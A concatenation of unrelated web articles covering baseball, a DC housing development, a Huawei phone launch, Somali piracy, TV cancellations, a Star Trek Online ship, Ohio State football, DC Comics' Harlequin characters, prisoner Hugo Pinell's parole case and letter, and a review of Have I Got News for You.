Inevitably, given baseball’s 162-game schedule, the season ebbs and flows. Right now it’s ebbing. The last lingering vestiges of excitement from Opening Day are long gone. It’s still too early to get really excited about the playoffs; the all-star game hasn’t been nearly the same since 2001’s infamous tie. The major storylines are being exhausted; if we aren’t aware by now that steroids are a problem for Major League Baseball then there’s a reasonable chance we’ll never catch on. Thus, the sport’s limping towards its halfway point; it’ll inevitably regain its momentum as the non-waiver trade deadline approaches, a date that traditionally signals the beginning of the playoff races.
In Toronto, meanwhile, surprise at the Blue Jays’ scorching start to the season has given way to what could almost be described as an odd sense of entitlement, as though fifteen years without a playoff berth has been an illusion and the team should be competing like this. Consecutive wins over the Cincinnati Reds pulled the Jays level with the New York Yankees in the übercompetitive American League East. (Last night’s laugher continued the Jays’ recent tradition of beating up on Cincinnati pitcher Bronson Arroyo: a year to the day after putting up ten runs against Arroyo in a single inning, the Jays jumped out to a 5–0 lead before he recorded a single out.) Roy Halladay should be back next week; Vernon Wells and Alex Rios are showing faint signs of life. And yet it’s still hard to get geared up for a midweek series against the Reds. Maybe it’s because it’s been an absolutely crazy month for sports. Two of North America’s four major leagues awarded their championships; Barcelona and Manchester United met in the Champions League Final; Roger Federer staked his claim to being the world’s all-time greatest tennis player; this week, a protracted U.S. Open ended just as Wimbledon was beginning. That’s a lot to follow; given all that, and it’s almost inevitable baseball would take a backseat for the next little while.
Rendering of planned project. Click to enlarge
A massive project that will bring almost 1,600 residential units to DC has been proposed near the Rhode Island Avenue Metro station. The planned unit development was filed with the city on Wednesday.
The development proposed by a group led by MRP Realty, will be built on the site of Rhode Island Center, a shopping mall that is now home to stores like Big Lots and Forman Mills. The project will consist of a whopping seven residential buildings totaling 1,555 units, and will be built over six phases. Eight percent of the residential units will be set aside as affordable, and every building will be anchored by ground-floor retail. As proposed, there will be approximately 2,000 parking spaces built for the new residential and retail components.
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A look at where the buildings will be located. Click to enlarge.
All told, the development, designed by SK+I Architecture, will cover roughly six blocks directly across from the Rhode Island Avenue Metro station (map) making it the largest residential project to be proposed in DC in quite some time.
Below are a few renderings of the massive development.
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The mid-range phablet runs Android 4.3 (Jelly Bean), has a large 6.1-inch display, 13-megapixel rear-facing camera with 2.0 aperture, 5-megapixel front-facing camera, 1080P HD video recording, a 3900mAh battery life that will last three days and will be sold unlocked for $299. It will work on AT&T ’s and T-Mobile’s networks but not on Verizon or Sprint.
The con of the device only being available online is that customers have no way of toying around and connecting with the device. However, Huawei will accept returns within 30 days of purchase (with a possible $35 restocking fee).
The site provides exclusive special offers and incentives to customers like free online storage from Bitcasa, a SIM card, Bluetooth speaker and a chance to win in an exclusive contest.
Despite being the world’s third-largest smartphone supplier by market share behind Samsung and Apple , U.S. carriers have ignored even Huawei’s top-tier phones. The strategy of selling directly to customers is in line with Huawei’s overarching theme of improving its international image and globalization, especially after espionage allegations.
Huawei was founded in in 1987 by ex-military officer Ren Zhengfei, who is #193 on the China Rich List with wealth of $920 million.
Dozens of insurgents stormed into Xarardheere, a pirate cove on the central Somali coast, around noon, but instead of putting up a fight, the pirates sped off. According to witnesses, several pirate bosses raced out of town in luxury four-by-four trucks, with TVs packed in the back and mattresses strapped on top. Islamist fighters in a fleet of heavily armed pickup trucks then occupied the strategic points in town, including the defunct police station and several crossroads.
What will happen next is not clear. Two of Somalia’s biggest problems and its most troubling exports — Islamist extremism and piracy — seem to be crashing into each other.
For several years, an intense civil war has raged in the country between a weak United States-backed government and radical Islamist groups that are trying to overthrow it. The ensuing lawlessness has given rise to a thriving piracy trade, in which Somali thugs in small skiffs have commandeered some of the biggest vessels on the sea, including a 1,000-foot-long oil tanker.
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As all the other networks swung the axe on many TV shows this week, making their final decisions on renewals and many cancellations, CBS were staying quiet, despite picking up several new shows, including new CSI and NCIS spinoffs. However, word broke Saturday, per THR, that CBS have cancelled five series in one fell swoop: The Crazy Ones, Bad Teacher, Hostages, Intelligence and Friends With Better Lives. At the same time, the network gave a last minute renewal to The Mentalist.
In some ways, The Mentalist's renewal is one of the most notable decisions, as the show had dropped to its lowest ratings ever this season and word was Warner Bros. TV (who produce the series) had begun shopping it to other outlets, in anticipation of CBS canceling it. However, a deal was obviously made for the show to return to the network for a seventh season. The Mentalist's creator, Bruno Heller, is also the man behind Gotham, FOX's new Batman prequel series.
Among the cancellations are many shows that were decidedly off-brand for CBS, who thrive on highly-rated multi-camera sitcoms and procedurals. Hostages and Intelligence were both more serialized than most CBS one-hours (some rare exceptions like Person of Interest aside), built around shorter seasons - something CBS had more success with during the summer with Under the Dome, which is coming back for Season 2 this year. Hostages was assumed to be done, especially after star Dylan McDermott signed onto a new CBS pilot, Kevin Williamson's Stalker, which was picked up to series yesterday. There was a tiny sliver of hope for Intelligence, but obviously that didn't come to fruition.
Among the comedies, The Crazy Ones and Bad Teacher both were single camera comedies with a very different feel than the rest of the CBS sitcom slate. Despite the star power of Robin Williams and Sarah Michelle Gellar, The Crazy Ones couldn't hold onto enough of the audience that CBS's hugely successful comedies like The Big Bang Theory and Two and a Half Men (even if it's not the powerhouse it once was) do. Friends With Better Lives had decent sampling on Mondays, but still was clearly on a downward trajectory, a few weeks after its debut.
To no one's surprise, Game of Thrones is the most pirated show on television by a huge margin. It's been tracking like that the entire season, but now that the Spring TV season is nearly over, it's been coronated as the king. Last year, the series based on the books by George R. R. Martin clocked in at 3.4 million pirated downloads per episode, so the show is doing better on both the shady black box of ratings and shady grey area of the Internet even though this season wasn't as good as the first.
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Once this starship is obtained by any character on your account, any characters on this account can claim the Krenim Science Vessel from the Account Claim tab within the Event Store (in the Event Reputation window).
Items and Abilities
Console
The Krenim Science Vessel comes equipped with the Timeline Stabilizer universal console. Activating this console will stabilize any temporal anomalies around your starship. This has the side effect of briefly increasing the flow of time within and around your starship. Enemies affected by this console will suffer a penalty to their recharge times, flight speed and turn rate. Your starship will receive a boost to both recharge times and weapon activation times, per affected foe.
This console also provides a passive reduction to all Science Bridge Officer abilities.
This console may be equipped on any starship.
Starship Trait
After achieving level 5 in the Krenim Science Vessel starship mastery, you will unlock the Improved Feedback Pulse Starship Trait. While this trait is slotted, Feedback Pulse will deal additional damage. Each time you are hit while Feedback Pulse is active you will gain a buff that boosts your Critical Hit Chance and Critical Severity. This buff stacks up to 10 times.
Look for a follow-up blog in the near future that will detail the stats on this awesome new Tier 6 starship!
Phil “Gorngonzolla” Zeleski
Lead Systems Designer
Star Trek Online
Tight end Jeff Heuerman hailed the leadership skills of the redshirt freshman. Offensive coordinator Tom Herman rattled off Barrett's positive attributes as a passer, starting with his ability to make the right decisions and consistent accuracy that should allow them to pay off for the Buckeyes. Coach Urban Meyer focused on Barrett's potential as a "distributor," likening him to famed Ohio State backup Kenny Guiton in the process.
But there is one more comparison that has popped up during a wild week at the Woody Hayes Athletic Center that might offer another clue about how the Buckeyes might look this season without Braxton Miller running the show, one which the coaching staff mentioned to SI.com's Pete Thamel.
Barrett's smooth release and pretty spiral prompted numerous members of the Buckeyes staff who worked with Meyer at Florida to compare Barrett to former Gators QB Chris Leak. "I'll take that," Meyer said with a smile. "I'm a big Chris Leak fan."
If Barrett is Meyer's latest version of Leak, it stands to reason he might also have a need for somebody to fill the role Tim Tebow played in the two-quarterback system that won Florida a national title in 2006. And, look at that, Ohio State has a 6-foot-5, 250-pound battering ram in Cardale Jones already on the roster.
The conversation about Jones has died down considerably since he left spring practice with the backup job ahead of Barrett, but it's not hard to envision how he could still have an impact for the Buckeyes as they put together a game plan for next week's opener against Navy.
For starters, Meyer has proven adept at managing multiple quarterbacks in his spread system in the past. Even a year ago with Miller in the fold, Meyer expressed his desire to find a way to get Guiton more involved and eventually installed a package of plays in the red zone that featured his backup quarterback.
One problem with using them both more often, aside from Miller's athleticism clearly setting him apart, was Meyer's two options behind center had similar skill sets. But that isn't really the case with Barrett and Jones, with the former four inches smaller and relying on an accurate arm, and the latter boasting a powerful-but-inconsistent arm but capable of pounding away at opponents regularly on the ground.
When asked on Wednesday, Meyer didn't rule out playing both quarterbacks as he tries to replace Miller's production, though he didn't provide any insight into how that rotation might work.
Harlequin is the name of four clown-themed DC Comics characters.
The original Harlequin was a foe of the Golden Age Green Lantern and later became his wife. The second Harlequin originally debuted as the Joker's Daughter and was a member of the Teen Titans. The third Harlequin was a member of the Injustice Unlimited supervillain team and battled Infinity, Inc. The fourth Harlequin has only appeared on a few occasions and is an enemy of Alan Scott.
Publication history [ edit ]
The Molly Mayne version of the Harlequin first appeared in All-American Comics #89 and was created by Robert Kanigher and Irwin Hasen.
The Marcie Cooper version of the Harlequin first appeared in Infinity, Inc. #46 and was created by Roy Thomas.
The unidentified Harlequin first appeared in Green Lantern Corps Quarterly #5 and was created by Ron Marz and Jim Balent.
The Harlequin appears in All-New Batman: The Brave and the Bold #7 (July 2011).
Fictional character biography [ edit ]
Molly Mayne [ edit ]
Mayne as she appeared as the Harlequin in the late 1940s
Underworld Unleashed: Abyss - Hell's Sentinel #1 A newly rejuvenated Molly Mayne reappears as the Harlequin in#1
The original Harlequin was Molly Mayne who appeared in stories alongside the Golden Age Green Lantern (Alan Scott).
Mayne developed a crush on Scott and, donning a colorful costume (which included harlequin glasses, a conical hat and a mandolin), started a life of crime to attract his attention. Her crimes tended to be harmless and mostly for show, although the two clashed on several occasions in the late 1940s.
She briefly joined the Injustice Society until she turned on them by aiding the Justice Society of America. She had a deep running altruistic streak, which occasionally led her to join forces with her enemy/would-be love interest. Despite being attracted to Harlequin, Scott never entered into a relationship with her and she eventually gave up in despair. She made a deal with the government in which she went on intelligence missions in return for amnesty for her past crimes and then quietly retired. On one occasion, she assisted Green Lantern, Superman and Lois Lane in capturing another foe of her love, the Sportsmaster.
Years later, after the death of his first wife Rose Canton, Alan Scott realized that he had loved Molly all this time and they got married. As the years passed a problem developed for the two; the Starheart (which gave Scott his powers) had reversed his aging processes, so he was physically a young man while Molly had since aged into an old woman. In despair over the rift this had caused between them, Molly sold her soul to the demon Neron in return for youth in Underworld Unleashed: Abyss - Hell's Sentinel #1. Her body became that of a young woman (who had the power to create nightmares) but her soul remained in Hell. Scott fought his way through Hell to obtain it and, with the help of the young Green Lantern Kyle Rayner, returned it to the Harlequin's body. This resulted in re-aging Molly, but making her whole once again. Some time thereafter, Scott himself was returned to his true physical age, as well. Mayne and Scott remain happily married to this day.
During the Brightest Day event, Molly briefly appears when Alan's daughter Jenny arrives at the Scott home in search of her father's old lantern. Molly informs her stepdaughter that Alan had been depressed in recent weeks, as Jenny had not been to visit her family since her resurrection at the close of Blackest Night.[1] Later, a doppelganger of the younger, villainous Molly is created by Alan's ring after he goes insane and battles the Justice League. The doppelganger is briefly seen torturing Starman.[2]
Duela Dent [ edit ]
Duela Dent is the second character to use the Harlequin name. The character was introduced in Batman Family #6 (July/August 1976). Originally appearing as a villain, she called herself the Joker's Daughter, and soon claimed to be the daughter of the Joker, as well as the Riddler, the Scarecrow, the Catwoman and the Penguin. In Pre-Crisis continuity, she later revealed her true father was Two-Face, joined the Teen Titans and renamed herself the Harlequin.
Duela's age has been retconned many times during the course of her history. When introduced she was a teenaged girl, however in later books, she was portrayed as a much older woman. Recently, however, she has been returned to a far younger age.
In current continuity, Duela continues to claim various supervillains as her parent. Freely alternating between heroic and villainous roles, Duela is considered a delusional former member of the original Teen Titans, but later becomes a member of the evil Titans East. She later betrays Titans East when offered membership with the current team.
Soon after, Duela is killed by a rogue Monitor in issue #1 of Countdown, following a failed kidnapping attempt on a celebrity and pursuit from Jason Todd. It is later revealed that she is a native of Earth-3 and the biological daughter of the Jokester and Three-Face (Evelyn Dent), that world's heroic equivalents of the Joker and Two-Face.
Marcie Cooper [ edit ]
Infinity Inc. #46 Drawn by Vince Argondezzi in#46
As a youth, Marcie Cooper was recruited by the Grandmaster to join the Manhunters. Her grandfather, Dan Richards (a.k.a. Manhunter), also encouraged her to join the group as he had years ago. The Manhunters gave her a job working at KGLX radio in Gotham City, alongside Molly Mayne-Scott, who was a former agent called the Harlequin. Marcie began dating Northwind and later Obsidian, both of Infinity, Inc., and infiltrated the superteam from within.
When the Manhunters began to strike at Earth, Marcie stole Molly's illusion-casting spectacles, taking the identity of the Harlequin. She failed to recruit Obsidian to the Manhunters and tried to kill her grandfather after he betrayed the Manhunters.[3] Dan Richards was later killed by the Manhunter, Mark Shaw.
Single-minded in her attempt to destroy Infinity, Inc., she joined Injustice Unlimited and masterminded the assassination of Skyman: it was on the wedding night of Hector Hall and Lyta Trevor; the Harlequin posed as Jade and used Solomon Grundy as her pawn in killing Skyman. She then took Grundy, gathered the Dummy and took the pair to meet with Artemis, the Icicle and Hazard. The plan to murder the Infinitors was told to all and put into action. Pat Dugan was used as bait to bring the heroes to Stellar Studios, but the battle went bad for the villains. When Solomon Grundy realized he had been manipulated by the Harlequin, he savagely beat her. Afterwards, she was given over to the authorities. (Infinity Inc. #51-53, 1988)
The Harlequin has not been heard from since (though Roy Thomas has stated that she was not killed).
Cooper did make a cameo appearance in Alan Scott's dream sequence in Underworld Unleashed: Abyss - Hell's Sentinel #1 (December 1995).
Some readers have speculated that she may be the mysterious Harlequin introduced in Green Lantern Quarterly #5-6 (summer and fall 1993). This new Harlequin is shown standing next to the Golden Glider in Underworld Unleashed #1 (November 1995), whom some misinterpret as Marcie Cooper herself. Another piece of speculation entails Marcie Cooper having been the Marcy from Secret Origins (vol. 2) #20 (November 1987) and Batgirl Special #1 (1988). That last idea was tentatively acknowledged by Millennium Index #1 (1987).
Unknown [ edit ]
Green Lantern Quarterly #5 The mysterious fourth Harlequin from#5
A mysterious new Harlequin debuted in Green Lantern Corps. Quarterly #5-6 and battled Alan Scott.
As a little girl, she discovered she had illusion-casting powers. She learned all about the first Green Lantern, Alan Scott, and how the first Harlequin became his lover. She knew it was her destiny to become the next Harlequin and to be with Green Lantern.
She created illusions of Icicle and Solomon Grundy for Alan Scott to battle and then revealed herself to him. During that encounter, Scott mysteriously regained his youth. Though at first he thought this an illusion, he later learned that the original consciousness of the Starheart had been reawakened and M'La had been tortured and slain.
The mysterious fourth Harlequin battles Alan Scott
During her battles with Scott, she eventually attacked his wife, Molly Mayne-Scott (the first Harlequin). She created illusions of a decrepit version of Molly, while she flooded Scott's head with visions of them together (in space, as barbarians, as detectives and eventually as medieval warriors). Scott was able to break free when he unleashed his simmering rage against her and showed her a world where he ruled over Hell and she was his captive slave. She stopped the battle, fled shouting that he had ruined everything, and instantly disappeared into the air.
She returned and made an appearance in Alan's dream sequence in Underworld Unleashed: Abyss - Hell's Sentinel #1. She also appeared in Hell alongside the other villains called by Neron in Underworld Unleashed #1.
During Underworld Unleashed, a character named Fay Moffit became the new Spellbinder. She bears a striking resemblance (both physically and in terms of powers) to this mysterious Harlequin. Although very similar, they appear to be two separate characters.
Powers and abilities [ edit ]
The primary tool of the Molly Mayne version of the Harlequin was her glasses. The glasses were later explained as a gift from the Manhunters as one of their agents. By using the glasses, she was able to project realistic three-dimensional holograms and fire energy blasts. In recent years, the glasses enabled an aged Molly to "maintain" the physical vitality of her youth's athleticism. Her secondary tool is a mandolin with an extending handle which she uses as a defensive weapon, especially against the Golden Age Green Lantern (due to his ring's weakness to its wooden construction).
The Marcie Cooper version of the Harlequin wears special glasses that allows her to hypnotize people and to create realistic illusions in the minds of the people around her. She can even project illusions over television. She also wields a mandolin with an extending handle that can be used as a weapon. A psychopathic killer, she is not afraid to do whatever it takes to destroy her opponents.
The unidentified Harlequin has illusion-casting powers similar to her predecessors. However, her illusions are much more intense and powerful than the illusions cast by Molly Mayne and Marcie Cooper, which were created from their glasses. When casting her illusions, if the victim has any minor doubt or little qualm in their mind, they will feel the pain that her illusion is inflicting on them.
Other versions [ edit ]
Infinity Inc. - Gay male Harlequin [ edit ]
Infinity, Inc. pitch. Gay male Harlequin from the originalpitch.
In the original pitch for the Infinity, Inc. series, creators Roy Thomas and Jerry Ordway had planned on using a young gay male as a new Harlequin.
In an interview with Alter Ego, Ordway explains: "Northwind is shown--but at his side (see P. 33) is a new, young, male Harlequin, who Jerry's notes suggest might become "comics' first gay character. Or we could just assume it." Not a bad idea, and maybe we should have played it that way; but we were already going to have two Green Lantern-derived heroes in Infinity, Inc."
Kingdom Come [ edit ]
A new Joker's Daughter appeared in the Kingdom Come miniseries and The Kingdom: Offspring #1. She is identified as both the Joker's Daughter and the Harlequin in annotations for the series and according to Alex Ross (both Cooper and the unknown Harlequin introduced in 1993 were apparently overlooked in the preparation of Kingdom Come).[4] The card set calls her a riot girl, who is "one of many to follow the Joker's chaotic style." She is not related to either Duela Dent or the Joker.
It has been stated that the Kingdom Come storyline is now Earth-22 in the DC Multiverse. Previously, it was called Earth-96 in the first Multiverse.
Batman '66 [ edit ]
In Batman '66, she is a amalgamation of the Harlequin and Harley Quinn designed more around the 60s television show (she is slightly taller and her hair is short; she also wears prominent slanted eyeglasses, a long red dress and red blouse, a large pearl necklace and fairly prominent earrings) appears as Dr. Holly Quinn, PhD, a psychologist at Arkham Asylum, referred to as Arkham Institute for the Criminally Insane. She convinces Joker to cooperate with Batman and Robin in exchange for approving his comedy night proposal.[5] Dr. Quinn is manipulated by Catwoman and Joker to perfect the Joker Wave — a hysteria-inducing transmitting dish used on Gotham. Quinn is devastated by her role in the plot and to atone for her mistake, Dr. Quinn reverses the device by submitting herself to its effects — freeing the people of Gotham, but sacrificing her sanity in the process. She escapes and becomes a supervillain named the Harlequin. She retains her considerable intelligence and psychological training, making her a difficult foe for the Dynamic Duo, but is eventually captured when Batman and Robin disguise themselves as criminals (Batman in his regular alternate guise of Matches Malone) who beat up other bad guys who were auditioning to be Holly's henchmen.[6]
In other media [ edit ]
Television [ edit ]
An alternate version of the Harlequin appears in the first episode of the web series, Justice League: Gods and Monsters Chronicles (a companion to Justice League: Gods and Monsters), voiced by Tara Strong. This version more closely resembles the New 52 version of Harley Quinn. Upon kidnapping and mutilating several innocent people, she uses the corpses as various toys, dolls and mannequins. When Batman arrives, he fights and defeats her. She admits defeat, but ends up getting killed as Batman reveals his fangs and ends up biting her neck in order to drink her blood. According to Bruce Timm, he deliberately modeled this Harlequin after the New 52 version of Harley Quinn and had her killed off as a means of displaying his distaste for Harley Quinn's redesign.[7]
Miscellaneous [ edit ]
The Harlequin was ranked 100th in Comics Buyer's Guide's "100 Sexiest Women in Comics" list, although this list does not specify which version of the character was chosen.[8]
See also [ edit ]
References [ edit ]
Molly Mayne
Duela Dent
Marcie Cooper
UPDATE: Yogi’s [Hugo Pinell’s] board hearing has been postponed another year due to CDCR’s new gang validation rules. Uncommon Law, the firm of Keith Wattley, is handling Yogi’s case and they think they can get some relief for him under the new rules. So let’s do everything we can to support Yogi and help him to stay strong in that hell hole for another year.
It would be a good thing for those with resources to check with attorney Wattley at (510) 271-0310 or kwattley@theuncommonlaw.com to see if Yogi needs financial assistance in covering legal fees.
In November 2008, voters passed Proposition 9, under which people serving indeterminate life sentences could be denied parole and another hearing for three to 15 years, instead of the established one to five years. Prop 9 argued that people convicted of serious crimes were being released from prison too frequently. This simply is not the case.
About 30,000 people were serving life sentences, and about 4,000 applied each year to appear before a two-member panel for a parole recommendation. Less than one percent received release dates in a given year. In 2006, for example, only 23 lifers were granted parole, less than 0.5 percent of those eligible for release.
The California Parole Board held a hearing for Hugo Pinell (Yogi Bear) on Jan. 14, 2009, at which they denied him parole and scheduled him to return to the board in 15 years! However, since Prop 9 wasn’t in effect in 2009 when his hearing was scheduled and postponed, the decision had to be rescinded.
A new hearing has been scheduled for May 2012, at which Yogi anticipates a 15-year hit. He would return to Board in 2027 at age 82!
Hugo Pinell has been in Pelican Bay SHU – no windows or natural light, very restricted possessions, no phone calls, 24/7 lockup unless permitted to exercise alone for an hour in an outdoor enclosure, no-contact visits of less than an hour only on weekends or holidays.
Pelican Bay is isolated in the Northwest corner of California, a very long trip by car. His mother, in her 80s with health problems, has continued to make that long trip to visit her son, now 67 years old. Can you even imagine not being able to hug your own son for over four decades?
Yogi has been in solitary confinement for at least 42 years, first in San Quentin, Folsom and Corcoran and the last 22 in the Pelican Bay SHU. He was 19 when incarcerated in 1964; in prison 48 years altogether, he’s been in solitary confinement at least 42, despite 32 years of clean time – no write-ups.
Yogi has been in solitary confinement for at least 42 years, first in San Quentin, Folsom and Corcoran and the last 22 in the Pelican Bay SHU.
Yogi earned the enmity of the prison officials back in the 1960s when he was part of the “Black Movement” behind California prison walls led by George L. Jackson, W.L. Nolen and many other conscious, standup brothers who made it safe for Blacks to walk the yards of California’s extremely racist gulags.
On Aug. 21, 1971, in what has been deemed a setup, Soledad Brother George Jackson was murdered on the yard of San Quentin by prison guards. During this orchestrated attempted escape, however, three guards were also killed, along with two inmate “trustees.”
This set the prison officials on fire, and they’ve been exacting revenge ever since on Hugo Pinell, the only defendant in the San Quentin Six case still in prison. The only defendant convicted of murder in the case, Johnny Spain, was released in 1988.
Clearly Yogi is a political prisoner, although the U.S. rarely if ever admits to holding any political prisoners. Our revolutionary hero is still strong of mind and body, has maintained his health with a strictly vegetarian diet and a grueling exercise program. His character and personality are evident in the following missive to Terry Collins.
Please write letters to newspaper editors, to Gov. Jerry Brown, the Parole Board and anyone else who might influence the board to make a humane decision to stop this senseless ongoing torture of Hugo Pinell. Contact Gov. Brown c/o State Capitol, Suite 1173, Sacramento, CA 95814, phone (916) 445-2841, fax (916) 558-3160 or by email online at http://gov.ca.gov/m_contact.php. Contact the parole board at Board of Parole Hearings, P.O. Box 4036, Sacramento, CA 95812-4036.
Power to the people! Here is Yogi’s letter to Terry Collins of KPOO Radio 89.5FM:
My Brother Terry,
Best of love and health to you and family. It’s good to hear from you, always, even through the hard times, because we can share and be solid company. Thank you for the kind words and for recognizing the great work of a few brothers in here, from so long ago, who were really serious about liberation and the transformation of self.
For me, it begins with the new W.L. in San Quentin in March in 1967, because I remember the old W.L. in Soledad, in 1963-64, when he was consistently messing up, as were most of us youngsters. Therefore, when the new W.L. greeted me in San Quentin, and he was handing me some literature and telling me about the Black Consciousness studies, the Self Reliant Principles of living, the Black Liberation Movement and the building of the New Man, he became my principal example because I noticed the positive and significant changes in him. He used Malcolm as our primary example of self-transformation and he felt that all of us brothers could make that same transformation, and not talking about religion because that should be a conscientious personal choice.
Yes, there was the objective of converting the criminal mentality into a revolutionary mentality, but that was only one phase of the self-transformation process, and that’s why Brother Malcolm played a big role in our mode of transformation. San Quentin was the best station in the CDC for Black prisoners to get socially and politically educated because we had some righteous brothers in the liberation movement paving the way for us to learn, grow and really transform.
San Quentin was the best station in the CDC for Black prisoners to get socially and politically educated because we had some righteous brothers in the liberation movement paving the way for us to learn, grow and really transform.
We had Muslim brothers receiving all kind of Black literature and consciousness material along with their religious material, and they would share it with all brothers interested in learning and changing. Also, by 1967, there were several Black organizations in the U.S. including the Panther Party in Oakland, founded in 1966, and some brothers were receiving revolutionary and world history material from some of these organizations and would share it.
All of that literature was part of consciousness studies, our self-reliant principles of living and self-transformation process. Most of us were very young, doing short sentences (supposedly), had been through the gladiator stations, Tracy and Soledad, and the time and place was right for self-change. We had the teachers, examples, the literature, the means and the opportunities, so it was up to us, how seriously devoted we would be toward real self-change.
This was a “wake up,” “grow up,” “self-transform,” “liberate” call and it was a voluntary thing, but to join the liberation movement we had to understand the meaning of liberate and, to embark on a commitment to freedom, we had to do away with old ways, old habits, f—d up mentality, the club, homeboy set mentality and attitude.
It was in the self-transformation process, according to our teachers. The New Man (a lifetime building) represents constant growth. History teaches us how terribly we were damaged and left to try and figure out and fit in a social structure in which we would remain confined, controlled, limited and surviving in the revolving doors.
Therefore, our best way to become free again but for good this time was and is the Malcolm self-evolvement way. Take as much control as possible of our minds, our senses, our energies, our emotional and spiritual powers and gradually create new selves. If we would have been self-transforming for the last 60, 50 years, there would not be millions of new slaves today and we would have the power to be making an impact and difference toward the building of the New World. Millions of us would be feeling so personally free, so new and strong and proud and rewarding of the constant evolvement work we put in over the years.
If we would have been self-transforming for the last 60, 50 years, there would not be millions of new slaves today and we would have the power to be making an impact and difference toward the building of the New World.
This is what W.L. Nolen was emphasizing the most: self-transformation. We study, observe, we learn and use everything that’s positive, constructive, truly revolutionary and compassionate to begin transforming, building anew while constantly doing away with the old, like Malcolm kept growing. The wonderful thing is that we were in control of these constant self-changes and there is no time limit, but we have to keep at it even if sometimes we stagnate. Our new ways of living become our freedom road and goal. If we grow tired, upset, afraid, stagnant, we stay on that road and then keep on pushing and growing.
I’m telling you how W.L. and the other great brothers were seeing things and realizing what we had to do to get out of prisons and become human builders and difference makers in the world. In the ‘50s, there weren’t many brothers in the CDC and they were getting victimized. Then, in the ‘60s, too many brothers were being sent to the CDC and the teachers felt we had to change, get out, become constructive and productive in society, while constantly transforming, and we wouldn’t have to occupy the cells in the CDC.
Unfortunately, my brother, more prisons were built, more brothers sent to these prisons and hardly any new selves built? Something happened along the way. All I know is that our teachers kept saying: “No matter what, wherever we are, if we’re alive and able, we gotta keep pushing and growing. It’s the only personal way to continue our growth and become free.”
Our teachers kept saying: “No matter what, wherever we are, if we’re alive and able, we gotta keep pushing and growing. It’s the only personal way to continue our growth and become free.”
Malcolm and Martin kept on pushing and evolving, in spite of the dangers and everything. You and Yuri and Kiilu, on the streets, have continued to push and grow. Even if you have stagnated, or get to feeling old, you keep on pushing and are serving the public, and being my good brother and friend. Thank you.
There is so much I can share with you, but I wanted to give you a little passage of what was going on in San Quentin when I was transferred there from Soledad in March of 1967 and the great impact all that activity and new changes had on me, especially meeting some dynamic brothers and teachers, and my best example in W.L.
I went through some bumps and stagnation before I started putting it all together and pushing on, but my foundation for change and struggle for freedom began in San Quentin in 1967.
Your brother,
Hugo
That sounds harsh but when was the last time you thought: “You know what I really want to watch? Have I Got News for You”. Or found yourself talking about what happened on the show, still, days after the event. This was once a series that had everyone buzzing. It was event TV, something the whole family gathered together to watch. These days we’re all tuning into Gogglebox instead.
So what’s gone wrong? In part it’s an age thing. When HIGNFY first started in 1990 team captains, Paul Merton and Ian Hislop, were in their early thirties and not yet household names. Merton, then 33, was a stand-up comedian who got his break in 1988 with improvisation show Whose Line Is It Anyway? The 30-year-old Hislop had edited Private Eye for almost four years. Original host Angus Deayton, then 34, was a jobbing comedian and actor, best known for his part in sitcom One Foot in the Grave.
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These were still young men, with fire in their bellies, desperate to make their names. And it showed in the fierce edge to their humour. Will Self, in a 2007 Evening Standard lament over the death of satire, memorably referred to the show’s original atmosphere as being “the very cockpit of British satire: a prototype of a kind of reality TV in which unwitting politicians were parachuted into a jungle full of backbiting repartee.” This was a programme that didn’t simply comment on the news but helped shape the political discourse, making unlikely stars out of Boris Johnson and Charles Kennedy and destroying those such as Piers Morgan who failed to perform well.
It’s a long way since those glory days. Deayton fell from grace in 2002 following a sex and cocaine scandal – the episode after the story broke remains one of the most uncomfortable (and amusing) in the show’s history – and ever since HIGNFY has relied on rotating guest hosts, on the quality of whom it tends to sink or swim.
This 50th series alone has seen one bad host (Jeremy Clarkson, who seemed nearly comatose except when sliding in the odd reference to his new show on Amazon Prime), one middling (Sue Perkins, who calmly kept the whole thing afloat) and one good (Charlie Brooker, who almost managed to wake Merton from the self-induced coma he appears to have slipped into in recent years). Notably, the best moments in all three episodes came not from captains or hosts but from two of the panellists: comedian Nish Kumar was likeable and funny, while Pointless’s Richard Osman was genuinely confrontational with Clarkson, bringing with him the echo of a long-lost and sharper age.
For HIGNFY used to be properly angry. Hislop, in particular, was seemingly unbothered as to who he went after, landing the BBC and Hat Trick Productions with a contempt of court notice in 1996 for a joke about Robert Maxwell’s sons, even if it was Merton’s more surreal moments, such as winning with a tub of lard as his partner in place of the absent Roy Hattersley that still sticks in the mind. Each episode felt fresh and relevant. In a pre-internet age this was the only place where you could hear jokes about what was going on in the country, told with savage style and fluid wit. It made the headlines as much as commented on them. Small chance of that happening now.
But this programme is really about the enthusiasm or lack of it that Hislop and Merton bring to their roles, and lately neither man seems especially happy. Merton, in particular, looks bored to death, as though this is some kind of purgatory he finds himself stuck in, his very own Room 101. Where once his flights of fancy soared, these days he’s resolutely earthbound. All too often content to raise an eyebrow in replacement for actual speech or fall back on an exaggerated double-take, supposed to signal his disbelief but in reality confirming his disengagement from his partner, the material, the show.
With Merton all but opting out, it’s left to Hislop to carry the whole shebang. And the basic problem with that is that a little of the Private Eye editor only goes so far. On a good day when he’s on the attack about something he believes in, for example in 2012 when Alastair Campbell hosted allowing Hislop to get in jabs about Blair and the Leveson Inquiry, he’s still entertaining, but all too often he’s straining. Without Merton puncturing his pomposity and giving him something to play off, he’s overly reliant on a good host and halfway decent guests or else those pugnacious putdowns topple into public school hectoring.
Leveson: Ian Hislop's jokes
That doesn’t help given HIGNFY has always had something of a reputation as a boys’ club. Sandi Toksvig recently revealed that she was passed over as original host in favour of Deayton because of her gender, while as far back as 1995 viewers complained that Hislop and Deayton bullied panellist Paula Yates with Hislop repeatedly making jokes about her breast enlargement operation as Deayton smirked behind his desk.
Over the years a number of high-profile women have refused to go on the show with Caitlin Moran commenting at the 2012 Cheltenham Literature Festival that she turned it down because she had no desire to be the token female guest, her jokes edited out and her clips reduced to shots of her giggling at the men. She has a point. Efforts have been made to balance the panels – there has been a woman on every episode so far this series – but even in Brooker’s largely effective hosting stint it was notable how often the show descended into Ian and Charlie having a matey chuckle about something they both get. Jokes for the boys indeed.
Brooker’s stint also drew attention to one of HIGNFY’s biggest problems: it’s no longer the only show in town. Some such as Mock the Week are laddish enclaves stuffed full of competing egos and lacking the subtlety of HIGNFY at its best, but others such as Brooker’s own Screenwipe are far better at wielding a satirical scalpel to the week’s news. Meanwhile, the growth of Twitter means that major events are picked over, joked about and forgotten often within the space of hour, leaving weekly TV shows picking over the dregs after all the good gags have gone.
